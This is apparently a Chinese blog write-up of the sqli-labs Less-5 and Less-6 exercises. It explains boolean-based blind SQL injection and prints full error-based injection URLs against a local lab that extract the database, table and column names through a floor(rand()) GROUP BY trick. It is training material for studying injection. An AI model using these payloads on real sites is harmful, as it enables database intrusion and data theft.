赞
踩
MySQL注入天书 Less5 - Less6
从注入点判断到用ORDER BY
判断出列数都和前面的一样
只是想用UNION SELECT
时发现页面并不回显数据库中的信息
而只是根据一个布尔值回显You are in...
或者什么都不显示
这种类型的注入称为布尔型盲注 Boolean Based Blind Injection
打个比方
Error Based型注入像一个傻白甜
你问她:你现在的用户是谁啊?
她就会告诉你:是root
Boolean Based型盲注就是单纯的傻,没有白甜
你问她:你现在的用户是谁啊?
她就不说话
那你只能问:你现在的用户是root嘛?
她会回答是或不是
单引号判断法
所以构造payload如下
?id=1' AND your_payload %23
id需为合法id,这样做AND运算才可判断出payload的布尔值
截取version的前三个字符,判断是否等于5.6或5.7等等等等
返回Boolean值,与id的选择结果作AND
根据最终是否有回显判断payload的布尔值
这样就知道数据库版本为5.7了
当然在撞的过程中肯定会发现一个一个试太麻烦了
实际sqlmap的布尔型盲注就是做了这样一个自动化测试的工作
首先撞一下数据库名的长度为8
其他payload原理类似,就是一个字:撞
Web安全-SQL注入:sqlmap布尔型盲注payload解析
原理
SQL注入:报错型盲注利用的BUG #8652详解
payload及简略说明
爆当前数据库
http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20(select%20database()),%200x23,%200x23,%20floor(rand(4)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23
库中表
http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20((SELECT%20GROUP_CONCAT(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=%27security%27)),%200x23,%200x23,%20floor(rand(0)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23
表中列
http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20((SELECT%20GROUP_CONCAT(COLUMN_NAME)%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27users%27)),%200x23,%200x23,%20floor(rand(0)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23
爆列中值的时候出现了问题,使用GROUP_CONCAT并不报错,暂且留坑
一个一个爆吧
其他省略
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。